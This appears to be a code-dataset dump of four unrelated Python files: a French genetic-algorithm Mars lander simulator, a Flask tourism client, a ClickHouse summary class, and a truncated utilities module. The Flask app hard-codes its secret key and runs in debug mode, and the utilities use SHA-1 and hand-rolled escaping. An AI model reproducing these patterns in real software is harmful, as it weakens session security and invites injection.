\"\"\"\n\n Lz = [-k for k in Lz]\n p, q = 0, 0 # indice du segment considéré\n\n def dist_eucli(a, b):\n return ((a[0]-b[0])**2+(a[1]-b[1])**2)**(1/2)\n\n mid_zone = (zone[0] + zone[1])/2\n x = (mid_zone, H)\n for i in range(len(Lx)-1):\n if (Lx[i] <= X <= Lx[i+1]):\n p = i\n if (Lx[i] <= mid_zone <= Lx[i+1]):\n q = i\n\n if p <= q:\n d = dist_eucli((X,Z), (Lx[p+1], Lz[p+1])) # distance de X au premier point de discontinuité\n for i in range(p+1, q+1):\n a = (Lx[i], Lz[i])\n b = (Lx[i+1], Lz[i+1])\n d += dist_eucli(a, b)\n else:\n d = dist_eucli((X,Z), (Lx[p-1], Lz[p-1]))\n for i in range(p-1, q, -1):\n a = (Lx[i], Lz[i])\n b = (Lx[i+1], Lz[i+1])\n d += dist_eucli(b, a)\n return d + dist_eucli((Lx[q], Lz[q]), x)\n\n#===========================================================================================================#\n\n# Parametres #-----------------------------------------------------------------------------\n\nproba_de_muter = 0.05 # probabilité d'un individu (chromosome) de muter\nnb_gene = 40 # taille d'un individu (que l'on notera n pour la complexité)\ntaille_population = 80 # nombre d'individu d'une population\nnb_de_generation_max = 150\n\npourcentage_grade_retenu = 0.2 # param de la selection elitiste\nnb_grade_retenu = int(taille_population * pourcentage_grade_retenu)\nproba_non_grade_retenu = 0.05\n\nproba_de_selection = 0.6 # proba de l'indivu à la fitness forte de gagner dans la selection par tournois\nnb_parents = taille_population * 0.4\n\n# Evaluation #------------------------------------------------------------------------------\n\ndef scaling(note, k):\n \"\"\" scaling exponentielle \"\"\"\n\n return note**k\n\n#-------------------------------------------------------------------------------------------\ndef fs(n, p):\n \"\"\" n génération de la population, p paramétre, cette fonction donne k\"\"\"\n\n return (tan((n/(nb_de_generation_max+1))*(pi/2)))**p\n\n#-------------------------------------------------------------------------------------------\ndef S(d, sig, a):\n \"\"\" sig voisinage de Xc, a un parametre \"\"\"\n if d < sig:\n return 1-(d/sig)**a\n else:\n return 0.01\n\n\ndef sharing(note, individu, population):\n \"\"\" sharing non optimisé (on calcule la distance à chaque individu) \"\"\"\n\n # ameliorer en calculant le Xc une seule fois\n\n res = 0\n for k in population:\n res += S(distance(k, individu), 50, 2)\n note = note/res\n return note\n\n#-------------------------------------------------------------------------------------------\ndef evalue(ind): # C(traj)\n \"\"\" Attribue un score proportionelle à la distance à la zone d'atterissage et\n l'angle/vitesse d'arrivé(e) que l'on cherche à minimiser. Renvoie un boléen selon si l'individu\n est éligible à être solution \"\"\"\n\n X, Z, m, fuel_f, i = cm.Trajectoire(m0, ind, dt, fuel, Lx, Lz)\n Xc, Zc = X[-1], Z[-1] # point après collision/atterrissage\n Xspeed, Zspeed = m[2], m[3]\n mid_zone = (zone[0]+zone[1])/2\n L = zone[1]-zone[0]\n rf = ind[i][1]\n\n note_distance = 100*((abs(Xc-mid_zone))/(abs(X0-mid_zone)))\n # rapport distance au mileu de la zone d'atterrissage par rapport sur distance initiale\n\n #note_distance = distance_au_sol(Xc, Zc, Lx, Lz)\n note = 500\n if (zone[0]+L*0.05 <= Xc <= zone[1]-L*0.05): #pénalités\n #note_distance = max(note_distance/10, 50) # on reduit l'importance de la note_distance\n if abs(Xspeed) >= v_speed_max:\n note -= 100*(abs(Xspeed)/300) # on pose une vitesse maximale sinon le modéle perd son sens\n if abs(Zspeed) >= h_speed_max:\n note -= 100*(abs(Zspeed)/300)\n if abs(degrees(rf)) >= r_var:\n note -= 100*(abs(round(degrees(rf)))/90)\n note -= note_distance\n note /= 5\n\n est_sol = (zone[0]+L*0.05 <= Xc <= zone[1]-L*0.05) and cm.collision(Xspeed, Zspeed, rf) and Z[-1] <= H <= Z[-2] # on ressere la zone d'atterrissage de maniere arbitraire pour éviter les cas limites, génants en pratique\n return note, est_sol #scaling(note, fs(int(cpt.get()), 1))\n\n#-------------------------------------------------------------------------------------------\ndef evalue_population(population):\n\n ind_note = [None]*taille_population\n k = 0\n for ind in population:\n note, est_sol = evalue(ind)\n ind_note[k] = (note, ind, est_sol)\n k += 1\n return sorted(ind_note, reverse = True)\n\n# Selection et évolution #-------------------------------------------------------------------\n\ndef evolution_opti(pop):\n npop = evalue_population(pop)\n solution = []\n pop_evaluee = [None]*taille_population\n k = 0\n for note, ind, est_sol in npop:\n if est_sol:\n solution.append(ind)\n pop_evaluee[k] = ind\n k += 1\n if solution != []:\n return [pop_evaluee, solution]\n parents = pop_evaluee[:nb_grade_retenu]\n for ind in pop_evaluee[nb_grade_retenu:]:\n if rdm.random() < proba_non_grade_retenu:\n parents.append(ind)\n while len(parents) < nb_parents:\n ind1, ind2 = rdm.choice(npop), rdm.choice(npop)\n if ind1[0] > ind2[0]:\n if rdm.random() < proba_de_selection:\n parents.append(ind1[1])\n else:\n if rdm.random() < proba_de_selection:\n parents.append(ind2[1])\n fils = []\n n = nb_gene\n while len(fils) < taille_population-len(parents):\n\n ind1, ind2 = rdm.choice(parents), rdm.choice(parents)\n b = rdm.random()\n fils1 = [None] * n\n fils2 = [None] * n\n for i in range(n):\n fils1[i] = [round(b*ind1[i][0]+(1-b)*ind2[i][0]), b*ind1[i][1]+(1-b)*ind2[i][1]]\n fils2[i] = [round((1-b)*ind1[i][0]+b*ind2[i][0]), (1-b)*ind1[i][1]+b*ind2[i][1]]\n fils.append(fils1)\n fils.append(fils2)\n fils = parents + fils\n\n return [fils, solution]\n\n#--------------------------------------------------------------------------------------------\n\ndef evolution(pop):\n \"\"\" Passage de la population n à n+1 \"\"\"\n\n npop = evalue_population(pop)\n somme_note = 0\n solution = []\n pop_evaluee = [None]*taille_population\n k = 0\n\n # On separe les notes et les individus, de plus on donne un critere de convergence\n\n for note, ind, est_sol in npop:\n #note = sharing(note, ind, pop[0])\n somme_note += note\n pop_evaluee[k] = ind\n if est_sol: # Le lander est sur la zone d'atterrisage et respecte les contraintes\n solution.append(ind)\n k += 1\n\n note_moyenne = somme_note/taille_population\n note_max = npop[0][0]\n\n if solution:\n return pop_evaluee, [note_moyenne, note_max], solution\n\n \"\"\" Methode élitiste: \"\"\"\n # On conserve les individus les mieux notés et un nombre aleatoire d'individus plus faibles pour eviter de converger vers un maximum local\n\n parents = pop_evaluee[:nb_grade_retenu]\n for ind in pop_evaluee[nb_grade_retenu:]:\n if rdm.random() < proba_non_grade_retenu:\n parents.append(ind)\n\n \"\"\" Selection par tournois \"\"\"\n\n # #parents = []\n # while len(parents) < nb_parents:\n # ind1, ind2 = rdm.choice(npop), rdm.choice(npop)\n # if ind1[0] > ind2[0]: # on cherche à maximiser la note\n # if rdm.random() < proba_de_selection:\n # parents.append(ind1[1])\n # else:\n # if rdm.random() < proba_de_selection:\n # parents.append(ind2[1])\n\n \"\"\" Roulette wheel \"\"\" # O(nlog(n))\n\n roulette = [None]*taille_population\n\n k = 0\n for note, ind, est_sol in npop:\n roulette[k] = [(note/somme_note), k]\n k += 1\n roulette = sorted(roulette, reverse = True) # on trie par ordre décroissant\n for i in range(len(roulette)):\n for j in range(i+1, len(roulette)):\n roulette[i][0] += roulette[j][0]\n while len(parents) < nb_parents:\n alea = rdm.random()\n for k in range(1, len(roulette)):\n if roulette[k][0] <= alea <= roulette[k-1][0]:\n parents.append(pop_evaluee[roulette[k][1]])\n\n \"\"\" Si la note moyenne ne varie pas (extrema local) on conserve les meilleurs individus et on génére une nouvelle population pour completer les parents \"\"\"\n\n n = len(lnote_moyenne)\n it = 0\n if n >= 5 and sum(lnote_moyenne[n-6:])/(lnote_moyenne[-1]*5) >= 0.95: # si les 5 dernieres note moyenne ne varie pas de plus de 5% (arbitraire)\n parents = parents[:nb_grade_retenu//2]\n new_pop = gt.creer_population(power0, rotate0)\n while len(parents) < nb_parents:\n parents.append(new_pop[it])\n it += 1\n\n fils = []\n while len(fils) < taille_population-len(parents):\n \"\"\" croisement continu \"\"\"\n\n ind1, ind2 = rdm.choice(parents), rdm.choice(parents)\n fils1, fils2 = gt.crossover(ind1, ind2)\n fils.append(fils1)\n fils.append(fils2)\n\n \"\"\" croisement discret \"\"\"\n # ind3 = gt.croiser(ind1, ind2)\n # if ind3 != []:\n # fils.append(ind3)\n # else:\n # #print(\"échec croisement\")\n # fils.append(ind1), fils.append(ind2)\n\n fils = parents + fils\n\n # On applique les mutations\n gt.mutation_population(fils)\n\n return fils, [note_moyenne, note_max], solution\n\n\n# Fonctions graphiques #---------------------------------------------------------------------\n\ndef trace_traj():\n \"\"\" Represente la trajectoire (Z en fonction de X) \"\"\"\n\n global object\n can.delete(object)\n individu_rdm = gt.creer_individu(power0, rotate0)\n X, Z, m, fuel_f, i = cm.Trajectoire(m0, individu_rdm, dt, fuel, Lx, Lz)\n tab = zip(X, Z)\n #print(evalue(individu_rdm)[0])\n object = can.create_line(tab, smooth = \"true\", width = 1, fill = \"#{:x}{:x}{:x}\".format(rdm.randint(150, 255), rdm.randint(150, 255), rdm.randint(150, 255)))\n object\n\n#--------------------------------------------------------------------------------------------\ndef trace_bezier():\n \"\"\" Trace la courbe de Bezier associé au point du sol plus \"\"\"\n\n Px, Pz = bz.pt_controle(m0[0], m0[1], Lx, Lz)\n X, Z = bz.bezier_curve(Px, len(Px), l), bz.bezier_curve(Pz, len(Pz), l)\n #X, Z = bz.bezier_curve_n(Px, l), bz.bezier_curve_n(Pz, l)\n tab = zip(X, Z)\n can.create_line(tab, smooth = \"true\", width = 2, fill = \"yellow\")\n\n \"\"\" Trace la trajectoire approximé autour de la courbe de Bezier \"\"\"\n\n # B = zip(X, [-k for k in Z])\n # ind = bz.trajectoire_approx(B, m0)\n # X, Z, m, fuel_f = cm.Trajectoire(m0, ind, dt, fuel, Lx, Lz)\n # tab2 = zip(X, Z)\n # can.create_line(tab2, smooth = \"true\", width = 1, fill = \"white\")\n\n#--------------------------------------------------------------------------------------------\nfreq = [0]*nb_de_generation_max\n\ndef trace_evolution(item = None):\n \"\"\" Represente graphiquement les générations de populations \"\"\"\n global freq\n global pop, id_anim, graph\n global lnote_moyenne, lnote_max\n if graph:\n for individu in graph:\n can.delete(individu)\n graph = []\n max_fuel = 0\n\n if int(cpt.get()) == 0:\n pop = [gt.creer_population(power0, rotate0), [], []]\n else:\n pop = evolution(pop[0])\n lnote_moyenne.append(pop[1][0])\n lnote_max.append(pop[1][1])\n\n if pop[2] or int(cpt.get()) >= nb_de_generation_max: # si il existe une solution ou si nombre de génération trop grand\n for sol in pop[2]:\n X, Z, m, fuel_f, i = cm.Trajectoire(m0, sol, dt, fuel, Lx, Lz)\n max_fuel = max(max_fuel, fuel_f)\n tab = zip(X, Z)\n g_sol = can.create_line(tab, smooth = \"true\", width = 3, fill = \"green\")\n if pop[2]:\n freq[int(cpt.get())] += 1\n print(\"Atterrisage réussi: \",fuel, \"-->\", max_fuel)\n else:\n freq[-1] += 1\n print(\"Echec de l'atterrisage\")\n\n else:\n for ind in pop[0]:\n X, Z, m, fuel_f, i = cm.Trajectoire(m0, ind, dt, fuel, Lx, Lz)\n tab = zip(X, Z)\n graph.append(can.create_line(tab, smooth = \"true\", width = 1, fill = \"white\"))\n\n for individu in graph:\n individu\n\n cpt.set(int(cpt.get())+1)\n if not pop[2] and int(cpt.get()) < nb_de_generation_max:\n id_anim = app.after(1, trace_evolution, item)\n\n#--------------------------------------------------------------------------------------------\ndef stop():\n can.after_cancel(id_anim)\n\n#-------------------------------------------------------------------------------------------\nncv = 0\n\ndef frequence(item = None):\n global anim\n global ncv, freq\n restart()\n trace_evolution()\n ncv += 1\n print(ncv)\n if ncv < 100:\n anim = app.after(30000, frequence, item)\n else:\n L=[]\n X = [k for k in range(nb_de_generation_max)]\n freq = [k/ncv for k in freq]\n plt.figure(\"Nombre de géneration avant convergence pour \"+str(ncv)+\" essais\")\n plt.bar(X, freq, align=\"center\")\n for k in range(nb_de_generation_max):\n if k%10 == 0:\n L.append(k)\n else:\n L.append(\"\")\n\n plt.xticks(X, L)\n plt.show()\n\n#--------------------------------------------------------------------------------------------\ndef Niveau1():\n \"\"\" Genere les segments qui represente le sol du niveau 1\"\"\"\n\n global Coord_X, Coord_Z, Lx, Lz\n global zone, H, m0, fuel, power0, rotate0\n fuel = carburant[0]\n m0 = Ci[0]\n power0, rotate0 = gene0[0]\n Lx, Lz = [k * scale for k in Coord_X[0]], [-k * scale for k in Coord_Z[0]]\n #Lx, Lz = sol_securise([k * scale for k in Coord_X[0]], [-k * scale for k in Coord_Z[0]])\n #Lz = [-k for k in Lz]\n zone = landing_zone(Lx, Lz)\n H = h_zone(Lx, Lz)\n restart()\n\n#--------------------------------------------------------------------------------------------\ndef Niveau2():\n global Coord_X, Coord_Z, Lx, Lz\n global zone, H, m0, fuel, power0, rotate0\n fuel = carburant[3]\n # m0 = Ci[3]\n # power0, rotate0 = gene0[3]\n Lx, Lz = [k * scale for k in Coord_X[3]], [-k * scale for k in Coord_Z[3]]\n zone = landing_zone(Lx, Lz)\n H = h_zone(Lx, Lz)\n restart()\n\n#--------------------------------------------------------------------------------------------\ndef Niveau3():\n global Coord_X, Coord_Z, Lx, Lz\n global zone, H, m0, fuel, power0, rotate0\n fuel = carburant[4]\n # m0 = Ci[4]\n # power0, rotate0 = gene0[4]\n Lx, Lz = [k * scale for k in Coord_X[4]], [-k * scale for k in Coord_Z[4]]\n zone = landing_zone(Lx, Lz)\n H = h_zone(Lx, Lz)\n restart()\n\n#--------------------------------------------------------------------------------------------\ndef Niveau4():\n global Coord_X, Coord_Z, Lx, Lz\n global zone, H, m0, fuel, power0, rotate0\n fuel = carburant[5]\n m0 = Ci[5]\n power0, rotate0 = gene0[5]\n Lx, Lz = [k * scale for k in Coord_X[5]], [-k * scale for k in Coord_Z[5]]\n zone = landing_zone(Lx, Lz)\n H = h_zone(Lx, Lz)\n restart()\n\n#--------------------------------------------------------------------------------------------\ndef Niveau5():\n global Coord_X, Coord_Z, Lx, Lz\n global zone, H, m0, fuel, power0, rotate0\n fuel = carburant[6]\n m0 = Ci[6]\n power0, rotate0 = gene0[6]\n Lx, Lz = [k * scale for k in Coord_X[6]], [-k * scale for k in Coord_Z[6]]\n zone = landing_zone(Lx, Lz)\n H = h_zone(Lx, Lz)\n restart()\n\n#--------------------------------------------------------------------------------------------\ndef info():\n print(\"************************************\")\n print(\"\\nLanding zone: \", zone, H)\n print(\"Note moyenne: \", round(pop[1][0]))\n note_max, ind, est_sol = evalue_population(pop[0])[0]\n print(\"\\nNote max: \", round(note_max))\n tabX, tabZ, m, fuel_f, i = cm.Trajectoire(m0, ind, dt, fuel, Lx, Lz)\n if pop[2]:\n ind = pop[2][0]\n ind = ind[:i+1]\n print(\"\\nNote solution: \", evalue(ind)[0])\n print(ind)\n print(\"X_speed: \", round(m[2]), \"m/s\")\n print(\"Z_speed: \", round(m[3]), \"m/s\")\n print(\"Angle_atterissage: \", round(degrees(ind[i][1])),\"°\")\n print(\"X_atterisage: \", round(m[0]))\n print(\"Z_atterisage: \", (round(tabZ[-2]), round(tabZ[-1])), \"\\n\")\n print(\"************************************\")\n\n#--------------------------------------------------------------------------------------------\ndef erreur():\n \"\"\" Graphe de l'evolution du fitnesse score \"\"\"\n\n def make_plot(lnote_moyenne, lnote_max):\n gen = range(1, len(lnote_moyenne)+1)\n plt.figure(\"Evolution de la note au cours des generations\")\n ax1 = plt.subplot(2,1,1)\n ax1.plot(gen, lnote_moyenne, label = \"note moyenne\")\n ax2 = plt.subplot(2,1,2)\n ax2.plot(gen, lnote_max,color = \"red\", label = \"note max\")\n ax1.set_ylabel(\"Note\")\n ax2.set_xlabel(\"Générations\")\n ax2.set_ylabel(\"Note\")\n ax1.grid()\n ax1.legend()\n ax2.grid()\n ax2.legend()\n plt.show()\n plt.close()\n make_plot(lnote_moyenne, lnote_max)\n\n#--------------------------------------------------------------------------------------------\ndef quit():\n print(\"Fin de la simulation\")\n app.destroy()\n\n#--------------------------------------------------------------------------------------------\ndef restart():\n \"\"\" Redémarre la simulation \"\"\"\n\n global lnote_moyenne, lnote_max, ncv\n #print(\"La simulation a été redémarrée\")\n cpt.set('0') # on reinitialise le compteur de l'AG\n lnote_moyenne, lnote_max = [], []\n can.delete('all')\n for i in range(len(Lx)-1):\n can.create_line(Lx[i], Lz[i], Lx[i+1], Lz[i+1], width = 1, fill = \"red\")\n Lxup, Lzup = sol_securise(Lx, Lz)\n Lzup = [-k for k in Lzup]\n for i in range(len(Lxup)-1):\n can.create_line(Lxup[i], Lzup[i], Lxup[i+1], Lzup[i+1], width = 1, fill = \"red\", dash = (4, 4))\n\n#--------------------------------------------------------------------------------------------\ndef a_propos():\n mon_message = messagebox.showinfo(\"Ce TIPE a été réalisé par :\", \"Victor Angot \\n MP* \\n Lycée Massena\")\n\n#================================================= MAIN =================================================#\n\napp = Tk()\napp.title(\"Project Mars Lander: T5\")\n\ncan = Canvas(app, scrollregion = (0, -h, 0, -h), bg = \"black\", height = h, width = w) # on a deplacé l'origine avec scrollregion\ncan.pack(side = \"top\")\n\nmon_menu = Menu(app)\napp.config(menu = mon_menu)\n\n# Affichage par defaut du niveau 1\nLx = [k * scale for k in Coord_X[0]]\nLz = [-k * scale for k in Coord_Z[0]]\nfor i in range(len(Lx)-1):\n can.create_line(Lx[i], Lz[i], Lx[i+1], Lz[i+1], width = 1, fill = \"red\")\nLxup, Lzup = sol_securise(Lx, Lz)\nLzup = [-k for k in Lzup]\nfor i in range(len(Lxup)-1):\n can.create_line(Lxup[i], Lzup[i], Lxup[i+1], Lzup[i+1], width = 1, fill = \"red\", dash = (4, 4))\n\n\n# Menu fichier\nfichier = Menu(mon_menu, tearoff = 0)\nfichier.add_command(label = \"Redémarrer\", command = restart)\nfichier.add_separator()\nfichier.add_command(label = \"Quitter\", command = quit)\nmon_menu.add_cascade(label = \"Fichier\", menu = fichier)\n\n# Menu cartes\ncartes = Menu(mon_menu, tearoff = 0)\ncartes.add_command(label = \"Niveau 1\", command = Niveau1)\ncartes.add_separator()\ncartes.add_command(label = \"Niveau 2\", command = Niveau2)\ncartes.add_separator()\ncartes.add_command(label = \"Niveau 3\", command = Niveau3)\ncartes.add_separator()\ncartes.add_command(label = \"Niveau 4\", command = Niveau4)\ncartes.add_separator()\ncartes.add_command(label = \"Niveau 5\", command = Niveau5)\n\nmon_menu.add_cascade(label = \"Affichage\", menu = cartes)\n\n# A propos\napropos = Menu(mon_menu, tearoff = 0)\nmon_menu.add_cascade(label = \"A propos\", menu = apropos)\napropos.add_command(label = \"TIPE\", command = a_propos)\n\n# Boutons\n# bou1 = Button(app, text = \"Trajectoire aléatoire\", command = trace_traj)\n# bou1.pack()\n\n# bou2 = Button(app, text = \"Courbe de Bezier\", command = trace_bezier)\n# bou2.pack()\n\nbou6 = Button(app, text = \"Graphe erreur\", command = erreur)\nbou6.pack(side = \"top\")\n\nbou7 = Button(app, text = \"Convergence\", command = frequence)\nbou7.pack(side = \"top\")\n\nbou4 = Button(app, text = \"Information\", command = info)\nbou4.pack()\n\n# Compteur de generation\ncpt = StringVar()\ncpt.set('0')\n\nlbl = Label(app, width = '10', textvariable = cpt, font = 'Avenir 15 bold')\nlbl.pack(side = \"top\", padx = 10, pady = 10)\n\nbou3 = Button(app, text = \"Simulation\", command = trace_evolution)\nbou3.pack(side = \"top\", padx = 0, pady = 0)\n\nbou5 = Button(app, text = \"Pause\", command = stop)\nbou5.pack(side = \"top\")\n\napp.mainloop()\n","repo_name":"Victor-Angot/TIPE-Mars-Lander","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":23099,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"31791150201","text":"from flask import Flask, render_template, request, redirect, url_for, make_response\nfrom flask_login import LoginManager, current_user, login_user, logout_user, login_required\nimport requests\nfrom models import LoginForm, User, get_user\nfrom werkzeug.urls import url_parse\nimport json\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = '7110c8ae51a4b5af97be6534caef90e4bb9bdcb3380af008f90b23a5d1616bf319bc298105da20fe'\nlogin_manager = LoginManager(app)\nlogin_manager.login_view = \"login\"\ndominioApi = 'http://127.0.0.1:5000'\n\n@app.route('/')\n@login_required\ndef index():\n\treturn render_template('index.html')\n\n@app.route('/hotels/')\n@login_required\ndef hotels():\n\thoteles = requests.get(dominioApi + '/api/v1/hotels')\n\thoteles = hoteles.json()\n\t#VERIFICAR RESPUESTA\n\treturn render_template('hotels.html',hoteles=hoteles['hotels'])\n\n@app.route('/hotels/')\n@login_required\ndef hotel(cod_hotel):\n\thotel = requests.get(dominioApi + '/api/v1/hotels/' + cod_hotel)\n\thotel = hotel.json()\n\trecomendaciones = requests.get(dominioApi + '/api/v1/recommendations/' + cod_hotel + '/' + str(current_user.id))\n\trecomendaciones = recomendaciones.json()\n\t#VERIFICAR RESPUESTA\n\treturn render_template('hotel.html',hotel=hotel['hotel'],recomendaciones=recomendaciones['recommendations'])\n\n@app.route('/restaurants/')\n@login_required\ndef restaurants():\n\trestaurantes = requests.get(dominioApi + '/api/v1/restaurants')\n\trestaurantes = restaurantes.json()\n\treturn render_template('restaurants.html',restaurantes=restaurantes['restaurants'])\n\n@app.route('/restaurants/')\n@login_required\ndef restaurant(cod_restaurant):\n\trestaurant = requests.get(dominioApi + '/api/v1/restaurants/' + cod_restaurant)\n\trestaurant = restaurant.json()\n\trecomendaciones = requests.get(dominioApi + '/api/v1/recommendations/' + cod_restaurant + '/' + str(current_user.id))\n\trecomendaciones = recomendaciones.json()\n\treturn render_template('restaurant.html',restaurant=restaurant['restaurant'],recomendaciones=recomendaciones['recommendations'])\n\n@app.route('/atractions/')\n@login_required\ndef atractions():\n\tatracciones = requests.get(dominioApi + '/api/v1/atractions')\n\tatracciones = atracciones.json()\n\treturn render_template('atractions.html',atracciones=atracciones['atractions'])\n\n@app.route('/atractions/')\n@login_required\ndef atraction(cod_atraccion):\n\tatraccion = requests.get(dominioApi + '/api/v1/atractions/' + cod_atraccion)\n\tatraccion = atraccion.json()\n\trecomendaciones = requests.get(dominioApi + '/api/v1/recommendations/' + cod_atraccion + '/' + str(current_user.id))\n\trecomendaciones = recomendaciones.json()\n\treturn render_template('atraction.html',atraccion=atraccion['atraction'],recomendaciones=recomendaciones['recommendations'])\n\n@app.route('/carro/addlist',methods=[\"get\",\"post\"])\n@login_required\ndef add_list():\n\turl = dominioApi + '/api/v1/lists'\n\ttry:\n\t\tcarro = json.loads(request.cookies.get(str(current_user.id)))\n\texcept:\n\t\tcarro = []\n\tif len(carro) > 0:\n\t\tservicios = []\n\t\tfor servicio in carro:\n\t\t\tservicios.append({\"id_servicio\": servicio['id']})\n\t\tlista = {\n\t\t\t\"id_usuario\": str(current_user.id),\n\t\t\t\"servicios\": servicios\n\t\t}\t\n\t\tresponse = requests.request(\"POST\", url, headers={}, json=lista)\n\t\treturn carro_delete_all()\n\treturn carro()\n\n@app.route('/carro/add/',methods=[\"get\",\"post\"])\n@login_required\ndef carro_add(id):\n\ttry:\n\t\tdatos = json.loads(request.cookies.get(str(current_user.id)))\n\texcept:\n\t\tdatos = []\n\t\n\texists = False\n\tfor dato in datos:\n\t if dato['id'] == id:\n\t exists = True\n\t break\n\n\tif not exists:\n\t\tdatos.append({\"id\":id})\n\t\n\tresp = make_response(redirect(url_for('carro')))\n\tresp.set_cookie(str(current_user.id),json.dumps(datos))\n\treturn resp\n\n\n@app.route('/carro', methods=['GET'])\n@login_required\ndef carro():\n\ttry:\n\t\tdatos = json.loads(request.cookies.get(str(current_user.id)))\n\texcept:\n\t\tdatos = []\n\tservicios = []\n\tfor servicio in datos:\n\t\tservicios.append(servicio)\n\treturn render_template(\"carro.html\",servicios=servicios)\n\n@app.route('/carro/delete/')\n@login_required\ndef carro_delete(id):\n\ttry:\n\t\tdatos = json.loads(request.cookies.get(str(current_user.id)))\n\texcept:\n\t\tdatos = []\n\tnew_datos=[]\n\tfor dato in datos:\n\t\tif dato['id']!=id:\n\t\t\tnew_datos.append(dato)\n\tresp = make_response(redirect(url_for('carro')))\n\tresp.set_cookie(str(current_user.id),json.dumps(new_datos))\n\treturn resp\n\n@app.route('/carro/delete')\n@login_required\ndef carro_delete_all():\n\tnew_datos = []\n\tresp = make_response(redirect(url_for('carro')))\n\tresp.set_cookie(str(current_user.id),json.dumps(new_datos))\n\treturn resp\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n if current_user.is_authenticated:\n return redirect(url_for('index'))\n form = LoginForm()\n if form.validate_on_submit():\n user = get_user(form.email.data)\n if user is not None and user.check_password(form.password.data):\n login_user(user, remember=form.remember_me.data)\n next_page = request.args.get('next')\n if not next_page or url_parse(next_page).netloc != '':\n next_page = url_for('index')\n return redirect(next_page)\n return render_template('login.html', form=form)\n\n@app.route('/logout')\ndef logout():\n logout_user()\n return redirect(url_for('login'))\n\n@login_manager.user_loader\ndef load_user(user_id):\n response = requests.request(\"GET\",\"http://127.0.0.1:5000/api/v1/users/\" + user_id + \"/byid\", headers={})\n if(response.status_code == 200 and 'user' in response.json()):\n user = response.json()['user']\n return User(user_id,user['nombre'],user['correo'],user['password'],is_hash=True)\n return None\n\nif __name__ == '__main__':\n\tapp.run(host='127.0.0.1',port='5001',debug=True)","repo_name":"matiascifuentes/cliente-sist-turismo","sub_path":"cliente.py","file_name":"cliente.py","file_ext":"py","file_size_in_byte":5750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"18430339839","text":"from typing import Optional\n\nfrom clickhouse_connect.datatypes.registry import get_from_name\n\nfrom clickhouse_connect.driver.query import QueryResult\n\n\nclass QuerySummary:\n summary = {}\n\n def __init__(self, summary: Optional[dict] = None):\n if summary is not None:\n self.summary = summary\n\n @property\n def written_rows(self) -> int:\n return int(self.summary.get('written_rows', 0))\n\n def written_bytes(self) -> int:\n return int(self.summary.get('written_bytes', 0))\n\n def query_id(self) -> str:\n return self.summary.get('query_id', '')\n\n def as_query_result(self) -> QueryResult:\n data = []\n column_names = []\n column_types = []\n str_type = get_from_name('String')\n int_type = get_from_name('Int64')\n for key, value in self.summary.items():\n column_names.append(key)\n if value.isnumeric():\n data.append(int(value))\n column_types.append(int_type)\n else:\n data.append(value)\n column_types.append(str_type)\n return QueryResult([data], column_names=tuple(column_names), column_types=tuple(column_types))\n","repo_name":"ClickHouse/clickhouse-connect","sub_path":"clickhouse_connect/driver/summary.py","file_name":"summary.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","stars":181,"dataset":"github-code","pt":"5"} +{"seq_id":"41302731864","text":"\"\"\"\nUtilities.\n\nFIXME: this needs a thorough cleanup, currently a dump of any useful func.\nNot all updated for GAE.\n\nBen Adida - ben@adida.net\n2005-04-11\n\"\"\"\n\nimport urllib, re, sys, datetime, urlparse, string\nimport cherrypy\nimport threading\n\ntry:\n from django.utils import simplejson\nexcept:\n import simplejson\n \nimport random\nimport htmlsanitizer, config\nimport sha, hmac, base64\n\ndef hash(s):\n \"\"\"\n hash the string using sha1\n \"\"\"\n hasher = sha.new(s)\n return hasher.hexdigest()\n\ndef hash_b64(s):\n \"\"\"\n hash the string using sha1 and produce a base64 output\n removes the trailing \"=\"\n \"\"\"\n hasher = sha.new(s)\n return base64.b64encode(hasher.digest())[:-1]\n\ndef do_hmac(k,s):\n \"\"\"\n HMAC a value with a key, hex output\n \"\"\"\n mac = hmac.new(k, s, sha)\n return mac.hexdigest()\n\n\ndef split_by_length(str, length, rejoin_with=None):\n \"\"\"\n split a string by a given length\n \"\"\"\n str_arr = []\n counter = 0\n while counter]*>(.*?)' % select_name, re.MULTILINE | re.IGNORECASE | re.DOTALL)\n m = pattern.search(html)\n if (m == None):\n # we have no match, try another pattern\n pattern = re.compile('' % select_name, re.MULTILINE | re.IGNORECASE | re.DOTALL)\n m = pattern.search(html)\n\n select_block = m.group()\n\n # extract the options from the select block\n pattern = re.compile(']*value=\"(.*?)\">(.*?)', re.IGNORECASE)\n options = pattern.findall(select_block)\n\n return options\n\ndef csv_safe(string):\n \"\"\"\n Make a string safe for a CSV field\n \"\"\"\n # let's backslash all the quotation marks anyways\n string = str(string)\n string = string.replace('\"','\\\\\"')\n\n if \",\" not in string and \"\\n\" not in string:\n return string\n\n return '\"' + string + '\"'\n\ndef js_sq_safe(sol, depth=1, escape_newlines = True):\n \"\"\"\n Make a string or a list safe for Javascript\n \"\"\"\n if not sol:\n return ''\n \n if isinstance(sol, list):\n l = []\n for el in sol:\n l.append(_js_sq_safe(el, depth, escape_newlines))\n return l\n else:\n return _js_sq_safe(sol, depth, escape_newlines)\n\ndef _js_sq_safe(string, depth, escape_newlines):\n repl_str = \"\\\\\" * depth + \"'\"\n string = string.replace(\"'\",repl_str)\n\n if escape_newlines:\n string = string.replace('\\r\\n',\"\\\\n\")\n string = string.replace('\\r',\"\\\\n\")\n string = string.replace(\"\\n\",\"\\\\n\")\n \n return string\n\ndef js_dq_safe(sol, depth=1):\n \"\"\"\n Make a string or a list safe for Javascript\n \"\"\"\n if not sol:\n return ''\n \n if isinstance(sol, list):\n l = []\n for el in sol:\n l.append(_js_dq_safe(el))\n return l\n else:\n return _js_dq_safe(sol, depth)\n\ndef _js_dq_safe(string, depth=1):\n \"\"\"\n Make a string safe for Javascript\n \"\"\"\n repl_str = \"\\\\\" * depth + '\"'\n string = string.replace('\"',repl_str)\n return string \n\ndef html_dq_safe(string):\n \"\"\"\n Make a string safe for HTML with double quotes\n \"\"\"\n if not string:\n return string\n string = string.replace('\"','"')\n return string\n \ndef trunc_string(string, length=50):\n \"\"\"\n Make a string short enough for display\n \"\"\"\n if len(string)>length:\n return \"%s...\" % string[:length-3]\n else:\n return string\n\ndef urlencode(str):\n \"\"\"\n URL encode\n 